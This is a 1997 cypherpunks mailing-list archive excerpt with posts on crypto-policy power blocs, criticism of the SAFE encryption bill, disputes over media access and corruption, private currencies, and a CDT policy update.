         - measuring & comparing trust metrics (successes and failures)
         - some limitations of the distributed certification approach
       - Two-way Web anonymizing
         Existing Web anonymizers (www.anonymizer.com and onion routers)
         provide anonymity only to the browser of information. I will
         propose a protocol analogous to the one used by e-mail nymservers
         that also allows information to be published anonymously. This
         protocol fully supports caching, and also makes it relatively
         difficult to mount spam, harassment and security flaw exploitation
         attacks.


If you have another agenda item, notify us ASAP!

________________________________________________________________________
Dave Del Torto                                      +1.415.524.6231  tel
ddt@pgp.com                                         +1.415.572.1932  fax
Pretty Good Privacy, Inc.                        http://www.pgp.com  web
________________________________________________________________________
Rich Graves                                         +1.415.725.7710  tel
llurch@stanford.edu                                 +1.415.723.0908  fax
Stanford Networking Systems     http://www.stanford.edu/group/networking



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Thu, 1 May 1997 01:27:52 +0800
To: cypherpunks@algebra.com
Subject: Test, Ignore
Message-ID: <199704292342.XAA00117@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Testing new mail Apps, Ignore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 1 May 1997 01:33:48 +0800
To: cypherpunks@cyberpass.net
Subject: Power Blocs in the Crypto Debate
Message-ID: <v03007804af8d2de3f630@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



We're seeing an interesting debate about the nature of power in Washington,
the role of different lobbying groups, and why things are as they are.

At the March meeting of the Cypherpunks in the Bay Area, I outlined a
fairly straightforward model of the power blocs jockeying for position and
influence, and discussed when and how the interests of the blocs
intersected with the interests of other blocs.

This model has a lot of ancillary conceptual baggage, which I'll try to
explain as I go along.

At the simplest level, there are 3 main _blocs_ in the crypto debate:

* Public groups, users, citizens, Cypherpunks, EFF, EPIC, etc.

* Corporations, sellers of tools, exporters, etc.

* Government, law enforcement, FBI, NSA, etc.


(I almost consider adding "the press" as a 4th group or bloc, but choose
not to expand the bloc list too much. As we will see, their role is
somewhat different, anyway.)

Text messages like this one are poor for discussing dynamics, best done on
blackboards with dynamic arrows, erasures, etc. But this is the diagram I
put up at that March meeting:


                       Public/Users

                    /               \
                   /                 \
                  /                   \

        Corporations  -  -  -  -  -    Government


Simple, yes. Some points about these blocs:

* Forget teleology--these blocs have no "ultimate goals." No grand mission,
no longterm ideological direction. Self-reproduction is vastly more
important than "evolution" (which implies some guiding hand toward some
higher state).

* This is a slight exaggeration, as certainly many individuals in these
groups _believe_ they have longterm goals or ideologies. My point is that
viewing these blocs as organisms is more on target than viewing them as
ideological units. Thus, corporations succeed and get bigger and spread
their "memes" around. Government agencies which control power get
larger...it's not that they "seek" to get larger, as is popularly thought,
it's that differential reproduction and growth favors such policies...like
branches growing toward the sun and outgrowing their neighbors (and then
the genes of the trees which grew are more common, due to survival, than
the genes of trees which did not grow, for whatever reasons).

* Certainly subcomponents of these organisms may "decide" that certain
policies will enhance their individual growth rates, or personal happiness,
etc. Thus, their are apparently groups within PGP, Inc., as disclosed at
that same March CP meeting, which see it in their interest (and they will
claim, in the mother organism's interest, whether true or not) to establish
closer working relationships with agencies in government. Other names for
this opportunistic, not suprising behavior: empire-building,
brass-polishing, careerism, greed, etc.

* These blocks are "basins of attraction," and are like any other game,
hobby, interest, or career. People start following football and then begin
associating themselves with some team. Or they take up a hobby and this
becomes their world, a world they follow closely, root for, lobby for, etc.
They are "organisms," with their own (apparent) lifecycles, habits,
instincts, etc.

* Memes. Enough said. (If anybody doesn't know about memes, do a Web
search, or read Dawkins' "The Selfish Gene.") Evolutionary game theory,
Axelrod's "The Evolution of Cooperation," and Wright's "The Moral Animal"
(to name but a few of the many important books in this area).

* Recall De Tocqueville's circa 1840 famous words of warning about the
American experiment (paraphrased from memory, and translated): "The great
American experiment in democracy will last only until the voting public
discovers it can pick the pockets of others at the ballot box." This is
another way of expressing this "bloc" idea. Special interest groups,
lobbying groups, etc.

OK, so let's look at crypto:

                                 Users of crypto, concerned citizens, the
public
                                 Cypherpunks, EFF, ACLU, EPIC, etc.
                                /
                               /
                       Public/Users

                    /               \
                   /                 \
                  /                   \

        Corporations  -  -  -  -  -    Government - - NSA, FBI, military,
               /                                 law enforcement, regulators,
              /                                    SEC, FCC, etc,
        PGP, Inc., RSADSI, Cylink
        Verisign, Netscape, etc.


Now this diagram can't capture the dynamics, and may even look "obvious" or
"banal." But some structure is useful in analyzing group dynamics.

For one thing, it's useful to note that the interests of corporations, for
example, are not at all the same as the interests of users. Even if they
make some of the tools users want to see! Corporations are organisms, and
will cut deals with the other players to enhance their own growth
opportunities...either as an overall corporate goal or due to sub-corporate
group manouverings, as with the groups within PGP, Inc. working on key
escrow schemes with government agencies and committees--these subgroups may
even see themselves as the "true spirit" of the companies, and/or may make
power grabs to make their memes the memes of the larger company...this
happens every day.

And each of these groups splits into multiple pieces.

Some groups get sucked into the "orbit" of the other power blocs. Thus, as
we have been discussing with Declan, journalists and lobbying groups in
Washington (the arguable "fourth bloc" (fourth estate) that could be used
for them) find themselves powerless unless they suck up to the government
or one of the other power blocs. The rules of the FDA, for example, start
to become the rules of the  journalist...or at least he starts "playing the
game."

Likewise, a journalist based in Silicon Valley will socialize with other
Valley folk, will follow the successes and failures of Valley companies,
and will almost always come to think of the Valley as "his team." Like a
sports team, or hobby, or game, or any other such "basin of attraction."

(Regionalism is not necessarily the most important. Journalists will still
remain "loyal" to their profession, lawyers to theirs, programmers to
theirs, etc. They will look to their professions for advancement,
power-building, etc. Part of the game. Growth, and memetic
self-reproduction.)

But "company towns" like Silicon Valley, Washington, and New York City
exert a powerful influence on those living in such areas...

Back to crypto.

The interests of these groups are not at all coincident, and we must never
lose sight of this. Roughly speaking, these three major blocs fit as
follows:

* Corporations survive and grow by selling things and driving out
competitors. Crypto and software companies want to sell licenses, browsers,
etc. Netscape wants to sell stuff. (I slip, like anyone, into saying
"wants," implying some teleological wish or goal...and to some extent this
is how the company will frame the issue...but a more accurate picture is
that Netscape will cease to be important if it doesn't sell enough products
and will become a dominant force if it sells a lot of products--the
translation to "wishes" and "goals" happens in the usual way.)

* Government is like a giant corporation. (Arguably, one could collapse
that leg of the tripod and call it "Washington, Inc.") Advancement for
individuals and departments comes as power grows. Every sub-bloc is looking
for those warming rays of the sun to extend its branches and leaves.
Empire-building and self-perpetuation. "The only purpose of a politician is
to stay in power." Nietzsche's "will to power." Or differential
reproduction. Republicans and Democrats jockey for more power, and to stay
in office.

* Washington, Inc. gets bigger and bigger because no forces effectively
exist to limit growth. Each department or office seeks to grow maximally,
as this enhances the careers, salaries, and power of individuals and other
departments. Lacking any natural predators, and facing no physical limits
to growth, this organism balloons larger and larger every decade, despite
minor year-to-year attempts to "reduce the size of government."

* These organisms seek mechanisms to enhance their growth and power.
Economists speak of "rent-seeking," as when the "Doctors, Inc." bloc seeks
to enhance their  power, compensation, and self-perpetuation by making it
hard for others to become part of their profession. (High-falutin' notions
that doctors guilds exist to provide maximum health care quality benefits
are utterly trivial compared to the game-theoretic, rent-seeking,
empire-building reasons...they form a guild because they _can_ form a
guild.)

* What about the third leg of the tripod, the "public"? Even there the
mechanism involves growth, survival, the will to power. Cypherpunks seek to
have an influence, even to be interviewed by Japanese television!
Individually or as part of "Cypherpunks, Inc.," they seek influence,
growth, power. (Of course, these tendencies are influenced by external
factors. For example, those of us living far away from D.C., or even fairly
far from San Francisco, take a dimmer view of influencing legislators and
reporters than those living close enough to get partially pulled into their
orbits, their games.)

* And the various "public interest" factions all have their own goals,
strategies, and notions about growth and power. EFF once sought to be the
dominant "third leg" power broker, had some defeats, and then essentially
left Washington to lick its wounds and (maybe) to regroup or to alter its
focus (which it appears to be doing by concentrating on legal cases, a la
Bernstein). EPIC has its notions of growth, Voter's Telecomm Watch its
notions, etc.

* Some groups are more explicitly ideological, some are more willing to
compromise. Cato is ideological, NRA is once again ideological (after a
period of trying to cozy up to factions in the government as a way of
growing and gaining influence...failure cause them to retreat to their
"ideological corner").

Enough for now.

The important thing to remember is that allies are not permanent, that the
ills of Big Government can be seen in organistic, Darwinian terms, and that
"good and evil" have very little to do with anything.

I hope this diagram helps a little, at least in explaining some of my
views. Your mileage may vary.

--Tim May

















There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 1 May 1997 03:13:48 +0800
To: cypherpunks@toad.com
Subject: ZKP
Message-ID: <199704301854.OAA27005@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


If Internet is the `information highway', then Tim Maypole is 
the roadside litter in the gutter.

   _ O  Tim Maypole
  (_    |
     -'_/
     X-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Thu, 1 May 1997 03:46:06 +0800
To: cypherpunks@toad.com
Subject: Fw: ZKP
Message-ID: <19294227142225@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed Apr 30 15:33:10 1997


- -----Begin Included Message ----- 

Date: Wed, 30 Apr 1997 14:54:51 -0400
 From: lucifer@dhp.com (lucifer Anonymous Remailer)
To: cypherpunks@toad.com
Cc: 

If Internet is the `information highway', then Tim Maypole is 
the roadside litter in the gutter.

   _ O  Tim Maypole
  (_    |
     -'_/
     X-



- ---- End of forwarded message ----

I'm tired of this tim tripe wasting my bandwidth.. we get the idea.

- -The Spectre

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 1 May 1997 05:10:17 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Security hole discovered
Message-ID: <3.0.1.32.19970430154019.007d1100@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.anchordesk.com/story/story_876.html

Security hole discovered in latest JDK and  
HotJava browser. JavaSoft shipping patch. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Thu, 1 May 1997 08:30:55 +0800
To: Alan Davidson <cypherpunks@cyberpass.net
Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <3355CC61.B61@stanford.edu>
Message-ID: <199705010008.RAA29286@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  talk.politics.crypto, comp.org.eff.talk)


CDT and other Washington insider groups are busily singing the praises of
the SAFE encryption bill, despite some acknowledged "minor flaws."

Well, the flaws are not minor. The bill does not give Americans any rights
they do not already have, and does not ease export of strong crypto in any
meaningful way. In fact, the bill contains odd language implying it is
essentially only financial software which is easier to export, and then
only if the receiving country (huh?) allows it...since when is the duty of
U.S. Customs to pass products for export based on whether Baluchistan, for
example, wants the product?

Ah, but things get worse. The language speaks of barring key escrow, but
then says that law enforcment needs are not affected. This not only is not
a bar on key escrow, which of course is not required at this time, but it
also may open the door for "legitimate needs of law enforcement" key
escrow.

And, worst of all,  it criminalizes the use of crypto in connection with
the use of crypto in any prosecutable offense. Say "Fuck Goodlatte and the
horse he rode in on" in a message using encrypted remailers, and the
Communications Decency Act is violated (if it gets upheld). Voila, instant
5-year sentence. Use remailers to distribute information banned by Big
Brother.... 

The chilling effect is exactly and completely analogous to the chilling
effect intended when those giant billboards went up some years back with
the dire warning: "Use a gun, go to prison."

I hope the fools at CDT are prepared to help install the "Use a cipher, go
to prison" billboards.

I've been watching these so-called "crypto liberation" bills, Pro-CODE and
SAFE, wend their ways through the legislative process. Both are severely
flawed. Both should be rejected. Passing laws with flaws is worse than
doing nothing, than just relying on the good old Constitution for our
rights.

Here's a partial analysis of this pernicious piece of legislation:

At 2:19 PM -0800 4/30/97, Alan Davidson of CDT wrote:

> CDT POLICY POST Volume 3, Number 1                       April 30, 1997
>
> CONTENTS: (1) House Subcommittee Approves SAFE Internet-privacy bill

>-----------------------------------------------------------------------------
>HOUSE SUBCOMMITTEE APPROVES SAFE INTERNET-PRIVACY BILL
>
>The House Judiciary Subcommittee on Courts and Intellectual property today
>approved the Security And Freedom through Encryption (SAFE) act (HR 695),
>sending the SAFE bill to the full House Judiciary Committee.
...
>Today's vote marks a critical step forward in the ongoing fight to reform
>US encryption policy, and sends a strong signal to the Clinton
>Administration that Congress is serious about passing real encryption
>reform legislation.

SAFE provides no rights not already enjoyed by Americans, and contains
language which appears to compromise some other rights.

For example:

""§2804. Prohibition on mandatory key escrow

"(a) PROHIBITION. -- No person in lawful possession of a key to encrypted
information may be required by Federal or State law to relinquish to
another person control of that key. 
"(b) EXCEPTION FOR ACCESS FOR LAW ENFORCEMENT PURPOSES.-Subsection (a)
shall not affect the authority of any investigative or law
enforcement officer, under any law in effect on the effective date of this
chapter, to gain access to a key to encrypted information. "

Sounds good...a ban on key escrow, right? No, because "EXCEPTION FOR ACCESS
FOR LAW ENFORCEMENT PURPOSES" could easily be used to mandage key escrow.
After all, even Louis Freeh and Dorothy Denning have never argued that key
escrow is for use by non-law enforcement!

Put another way, this particular section says Alice doesn't have to
relinquish a key to Bob, a private citizen. Same as the way things are now,
where there is no law, modulo contractual relationships, mandating such
disclosure of keys.

A truly meaningful form of this putative or purported ban on key escrow
would include language along the lines of: "No government agency or
department shall in any work propose, negotiate, plan, or do research on
any scheme related to "key escrow," blah blah blah..." (Not being a lawyer,
I won't try to write the language; the point is that SAFE contains only
weasel language and doesn't actually bar key escrow so long as the Magic
Words "Law Enforcement Purposes" are uttered.)

Meanwhile, the traitors have criminalized crypto with this little gem:

"§2805. Unlawful use of encryption in furtherance of a criminal act

"Any person who willfully uses encryption in furtherance of the commission
of a criminal offense for which the person may be prosecuted in a court of
competent jurisdiction -- 

       "(1) in the case of a first offense under this section, shall be
imprisoned for not more than 5 years, or fined in the amount set forth in
       this title, or both; and
       "(2) in the case of a second or subsequent offense under this
section, shall be imprisoned for not more than 10 years, or fined in the
       amount set forth in this title, or both."."

Obviously, this is a serious problem, recognized by CDT, Lofgren, and many
others. Given that a vast and increasing number of behaviors are now
prosecutable offenses, this section alone would make most remailers parties
to a crime, would make corporations parties to crimes, and would have a
"chilling effect" on the use of crypto.

"Use a cipher, go to prison."

(Using a cipher alone would not itself be a crime, obviously, but the
parallels are *exact* with the famously chilling billboard message: "Use a
gun, go to prison." Using a gun in and of itself is not a crime, as in
target shooting, etc., but the chilling effect message is crystal
clear...this was the whole intent of the California billboards with this
message. So, will billboards be erected with the same message about
crypto?)

This alone is grounds for CDT, EFF, EPIC, ACLU, and anyone else to
immediately and completely withdraw all support for SAFE. The message "Use
a cipher, go to prison" is simply too pernicious to be allowed. Period.

Anyone who disagrees with this should immediately get out of the "civil
rights" industry.

As for the supposed relaxation of export restrictions, I fail to see much
of a difference. The SAFE text says (and I am only partly quoting it, as
quoting it all is too complicated for a message like this one):

" No validated license may be required, except pursuant to the Trading With
the Enemy
       Act or the International Emergency Economic Powers Act (but only to
the extent that the authority of such Act is not exercised to
       extend controls imposed under this Act), for the export or reexport
of..."

Gee, that little clause gives back control of exports. The "except pursuant
to the Trading with the Enemy Act," etc. part means that strong crypto
still won't be freely exportable.  



And the famous bit about exports being allowed to any country in which the
product is already approved...well, we see which way the wind is blowing in
other countries on this one. No doubt the Crypto Tsar, David Aaron, will
ensure that many products are not legal for use in France, Germany, Japan,
etc.

Oh, and just why is a U.S. _export_ contingent on it being "allowed" in
some other country? Export laws regarding national security are about stuff
_leaving_ the United States, not about stuff _entering_ France! That's a
problem for France to solve, not a problem for U.S. Customs to worry about.

And the "permitted for use by financial institutions" seems odd. Is this
SAFE bill only allowing (supposedly) free export of _financial_ software?
It sure looks this way.

       "(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall
authorize the export or reexport of software with encryption capabilities
for nonmilitary end-uses in any country to which exports of software of
similar capability are permitted for use by financial institutions not
controlled in 
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
fact by United States persons, unless there is substantial evidence that
such software will be
       -- 

              "(A) diverted to a military end-use or an end-use supporting
international terrorism; 

Well, there's the gotcha. There goes the export of "unbreakable crypto," as
it will surely (and already has) been used by Hamas, Sindero Luminoso, the
IRA, and other such international freedom fighters, er, "terrorists."

Thus, we've gained absolutely nothing. Nada. Zip. 



And so it goes. 

Crypto becomes semi-criminalized. Key escrow is not at all restricted,
providing the need is related to "law enforcement" (though private citizens
like me are apparently no longer able to demand the keys of our
neighbors...but, gee, I guess we never were, so nothing even here has been
gained...duh).

And export has the same restrictions related to the Trading with the Enemy
Act, with various national security and law enforcement concerns, but with
some strange language about export being allowed for financial cryptography
providing the receiving country allows it for non-U.S.-owned entities.
(????)

A dangerous piece of legislation. Worse than the status quo. 

It ought to be killed dead.

"Use a cipher, go to prison."

--Tim May, who is a felon under various laws, and who has used crypto in
furtherance of these felonious activitities, and who hence faces 10 years
in the pokey for the SAFE "crime" of using crypto in furtherance of
multiple prosecutable offenses

Fuck that. Fuck CDT, too, for not denouncing this horrible piece of crap.

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 1 May 1997 08:47:34 +0800
To: Declan McCullagh <declan@well.com>
Subject: mainstream media corruption same as govt
In-Reply-To: <Pine.GSO.3.95.970429212717.11982B-100000@well.com>
Message-ID: <199705010033.RAA29721@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


[DM]
>Perhaps that's why it's hard, sometimes, to be a columnist here. If I call
>up the FDA, ask them why they're considering regulating the Net, then
>blast them in a column -- well, they're not going to return my phone calls
>next time. The TIME affiliation helps, but bureaucrats aren't entirely
>stupid -- they're not going to offer information and interviews to their
>critics. Perhaps there's something to be said for the Washington Post "he
>said, she said" style of reporting.

there is nothing to be said for it except that it is one step up from
what is contributing to the inbred relationship between journalists and
politicians. once upon a time, a journalist did not try to curry favor
with politicians, it was not a non-antagonistic relationship nor was
it meant to be. today, journalists go to their feeding buffets called
"press conferences" and pass on uncritically what is fed to them. whatever
happened to the journalist who tried to dig for a real story? obviously
the truth does not come easily, and older style journalists were closer to
understanding this.

why is our press so screwed up? because it has been infiltrated at the
very highest echelons by the CIA with its own agenda, which itself is
being driven by another more sinister agenda behind the scenes. 
the press has reached the level of hypnotic proportions in its ability
to manipulate the perceptions of the populace. if the media is the 
eyes of the populace, then it has been increasingly blinded for several 
years. I encourage anyone to read anything by Ambrose Evans Pritchard,
a british journalist, to see the level of unwary mindless corruption
we are now wallowing in daily in this country, in both the media and
government.

the crack cocaine situation in LA is a good example of how the truth
is buried by the media. a maverick newspaper reports something close to the
truth and the cia-manipulated mouthpieces around the country pile on
the journalist and the newspaper in a barrage of picks that choke the
truth in clouds of smoke.

the internet is breaking some of the press's stranglehold on communication
between citizens. I expect that the mainstream media is going to crumble
very soon as the public begins to realize how corrupted it has become,
both advertently and inadvertently.

in my opinion, the press has become as corrupt as the government. a pity,
because as Jefferson hoped, the press would become a control on the
government. the founding fathers seemed to have a lot of faith in the
integrity of humanity that does not seem to have entirely been borne out
by history.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 1 May 1997 08:50:37 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <Pine.GSO.3.95.970430055433.17744A-100000@well.com>
Message-ID: <199705010039.RAA03554@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



DM
>
>Yep. DC is about power. It's okay to question who should have it (though
>Republicans or Democrats are your only choices), but it's almost unheard
>of to question whether any of 'em should have it at all. And rewards are
>given to those who Play the Game. For instance, I was interviewing some
>FCC commissioners recently for an upcoming article in a widely-read print
>mag, and the agency wanted the article to tilt their way. A week later I
>found my name on the posh invite list to black-tie dinners with the
>commissioners. That's access, folks, and it's responsible for a good
>portion of a journalistic success. If you don't have it, your articles
>suffer. 

I rest my case. That's *bias* and essentially *bribery*, folks, and its
responsible for a good portion of the corruption of the media. and what's
more amusing, not a single reporter involved in it has any pangs of doubt.
DM is downright proud that he's so clever that he's figured out this
ingenious inbred system of you-scratch-my-back!! congratulations on your
ingenuity, DM!! you will truly go a long way with your clearly highly
negotiable and hockable ethical standards...! I see you must be eyeing the
NYT or the Washington Post, eh? 

(DM, imagine the manipulation that you are describing getting *worse*
as you rise to the top, with your scent of it only a small whiff in
comparison, and you begin to understand the corruption that infects
the reality that surrounds us..)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 1 May 1997 08:58:53 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <199705010039.RAA03554@netcom7.netcom.com>
Message-ID: <Pine.GSO.3.95.970430174121.425K-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


VZ--

Sure it's bribery -- at least an informal, backscratching kind. It's the
way any public relations flack works: floating stories and giving
information to friendly journalists. But it's more insidious when it comes
from government. (Now, some news outlets have some insulation from this,
since no senator is going to turn down an opportunity to appear on NBC
Nightly News, even if it critizies their pet program.) 

But your excerpt didn't give me a chance to finish my story, and you
leaped to the wrong conclusion.

I turned down the FCC dinners, filed my story, argued with my editors who
watered it down, and moved on to my next project. 

Not all journalists have "hockable ethical standards." Indeed, some of us
care about the truth. 

-Declan


On Wed, 30 Apr 1997, Vladimir Z. Nuri wrote:

> DM
> >
> >Yep. DC is about power. It's okay to question who should have it (though
> >Republicans or Democrats are your only choices), but it's almost unheard
> >of to question whether any of 'em should have it at all. And rewards are
> >given to those who Play the Game. For instance, I was interviewing some
> >FCC commissioners recently for an upcoming article in a widely-read print
> >mag, and the agency wanted the article to tilt their way. A week later I
> >found my name on the posh invite list to black-tie dinners with the
> >commissioners. That's access, folks, and it's responsible for a good
> >portion of a journalistic success. If you don't have it, your articles
> >suffer. 
> 
> I rest my case. That's *bias* and essentially *bribery*, folks, and its
> responsible for a good portion of the corruption of the media. and what's
> more amusing, not a single reporter involved in it has any pangs of doubt.
> DM is downright proud that he's so clever that he's figured out this
> ingenious inbred system of you-scratch-my-back!! congratulations on your
> ingenuity, DM!! you will truly go a long way with your clearly highly
> negotiable and hockable ethical standards...! I see you must be eyeing the
> NYT or the Washington Post, eh? 
> 
> (DM, imagine the manipulation that you are describing getting *worse*
> as you rise to the top, with your scent of it only a small whiff in
> comparison, and you begin to understand the corruption that infects
> the reality that surrounds us..)
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 1 May 1997 09:15:59 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: This is not "cash" if the government demands a report...
Message-ID: <v02140b02af8d9aa13511@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:51 PM 4/29/97, Kent Crispin wrote:
>On Tue, Apr 29, 1997 at 01:01:59PM -0800, Tim May wrote:
>> At 11:26 AM -0800 4/29/97, Kent Crispin wrote:
>> 
>> >I was refering to your purchase of the 'vette -- presuming the dealer
>> >followed the law, the sale would be reported, and the amount, and
>> >hence the transaction is not anonymous, even though you paid cash...
>> 
>> Ah, Kent, so you are citing the government's intervention in cash
>> transactions (part of the War on Some Drugs, of course) as evidence that
>> cash has flaws. Well, I wouldn't call this cash, not if the government
>> demands that True Names be taken down and reported.
>
>OK.  What would you call it, then? Perhaps you could think of another
>catchy, short name for those greenish bits of paper and circular metal
>objects I have in my pocket that I use to pay for lunch?

The coins in your pocket are 'legal tender' or currency, a non-intrest bearing bearer bond issued by the treasury.  Ecash and its ilk are private currencies, similar in some ways to traveller's checks and money orders which are unsecured and uninsured debts of the issuer, but legally closer to the tokens issued at an amusement park or or the premium stamps (like Blus Chip or S&H Green) which have all but disappeared.  Constitutionally, the government has only limited rights to restrict private the issueance and use of private currencies (Stamp Act of 1861 and its current codification under Title 18.)

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
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CEO                       | fax: (702) 658-2673
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7075 West Gowan Road      |
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Davidson <abd@cdt.org>
Date: Thu, 1 May 1997 06:38:40 +0800
To: cypherpunks@cyberpass.net
Subject: Policy Post 3.03 - House Subcommittee Approves Internet Privacy Bill
Message-ID: <v0302090baf8d75d7c2e3@[207.226.3.11]>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------------
    _____ _____ _______
   / ____|  __ \__   __|   ____        ___               ____             __
  | |    | |  | | | |     / __ \____  / (_)______  __   / __ \____  _____/ /_
  | |    | |  | | | |    / /_/ / __ \/ / / ___/ / / /  / /_/ / __ \/ ___/ __/
  | |____| |__| | | |   / ____/ /_/ / / / /__/ /_/ /  / ____/ /_/ (__  ) /_
   \_____|_____/  |_|  /_/    \____/_/_/\___/\__, /  /_/    \____/____/\__/
   The Center for Democracy and Technology  /____/      Volume 3, Number 3
----------------------------------------------------------------------------
      A briefing on public policy issues affecting civil liberties online
----------------------------------------------------------------------------
 CDT POLICY POST Volume 3, Number 1                       April 30, 1997

 CONTENTS: (1) House Subcommittee Approves SAFE Internet-privacy bill
           (3) How to Subscribe/Unsubscribe
           (4) About CDT, contacting us

  ** This document may be redistributed freely with this banner intact **
        Excerpts may be re-posted with permission of <editor@cdt.org>
         ** This document looks best when viewed in COURIER font **
-----------------------------------------------------------------------------
HOUSE SUBCOMMITTEE APPROVES SAFE INTERNET-PRIVACY BILL

The House Judiciary Subcommittee on Courts and Intellectual property today
approved the Security And Freedom through Encryption (SAFE) act (HR 695),
sending the SAFE bill to the full House Judiciary Committee.

The SAFE bill was passed by the Subcommittee without amendment and with
unanimous approval.  A House Judiciary Committee vote on SAFE is expected
later this month.

Today's vote marks a critical step forward in the ongoing fight to reform
US encryption policy, and sends a strong signal to the Clinton
Administration that Congress is serious about passing real encryption
reform legislation.

SAFE, and its companion bills in the Senate (Pro-CODE and ECPA II) are
vitally represent the best chance yet of reforming US encryption policy in
a way that protects privacy, promotes electronic commerce, and recognize
the realities of the global economy.

The full text of the SAFE bill, along with analysis and background
information, is available online at http://www.cdt.org/crypto or
http://www.crypto.com/

The Administration's allies did not introduce amendments to SAFE at the
subcommittee markup today, though a tougher fight is expected when the bill
reaches the full Judiciary Committee later this month. Rep. Bill McCullom
(R-FL), voted in favor of the SAFE but expressed concern that the bill does
not contain key-recovery provisions.  McCullom, a high ranking member of
the Judiciary Committee, said he hopes to address these concerns when the
bill reaches the full committee.

Also at the markup, Rep. Zoe Lofgren (D-CA), an original co-sponsor of
SAFE, noted that several privacy organizations, including CDT, have raised
concerns about a provision of the bill which criminalizes the use of
encryption in furtherance of a crime.  Rep. Lofgren pledged to work with
the privacy community to try and address these concerns as the bill moves
through committee.

CDT congratulates the subcommittee on today's vote and looks forward to
working with the Congress, our colleagues in the civil liberties and
Internet advocacy community, and the computer and communications industries
to pass real reform of US encryption policy this year.

For more information on what you can do to join the fight, please visit
http://www.crypto.com/adopt.

------------------------------------------------------------------------
(2) SUBSCRIPTION INFORMATION

Be sure you are up to date on the latest public policy issues affecting
civil liberties online and how they will affect you! Subscribe to the CDT
Policy Post news distribution list.  CDT Policy Posts, the regular news
publication of the Center For Democracy and Technology, are received by
nearly 10,000 Internet users, industry leaders, policy makers and
activists, and have become the leading source for information about
critical free speech and privacy issues affecting the Internet and other
interactive communications media.

To subscribe to CDT's Policy Post list, send mail to

     policy-posts-request@cdt.org

with a subject:

     subscribe policy-posts

If you ever wish to remove yourself from the list, send mail to the
above address with a subject of:

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(3) ABOUT THE CENTER FOR DEMOCRACY AND TECHNOLOGY/CONTACTING US

The Center for Democracy and Technology is a non-profit public interest
organization based in Washington, DC. The Center's mission is to develop
and advocate public policies that advance democratic values and
constitutional civil liberties in new computer and communications
technologies.

Contacting us:

General information:  info@cdt.org
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             1634 Eye Street NW * Suite 1100 * Washington, DC 20006
             (v) +1.202.637.9800 * (f) +1.202.637.0968

-----------------------------------------------------------------------
End Policy Post 3.03                                           04/30/97
-----------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 1 May 1997 13:37:40 +0800
To: cypherpunks@toad.com
Subject: Privacy news: Oakland Cameras, Levi employee files, FileGate
Message-ID: <3.0.1.32.19970430183502.006417e8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


It's been a busy day for privacy issues in the Oakland Trib.

Surveillance Cameras in Oakland
-------------------------------
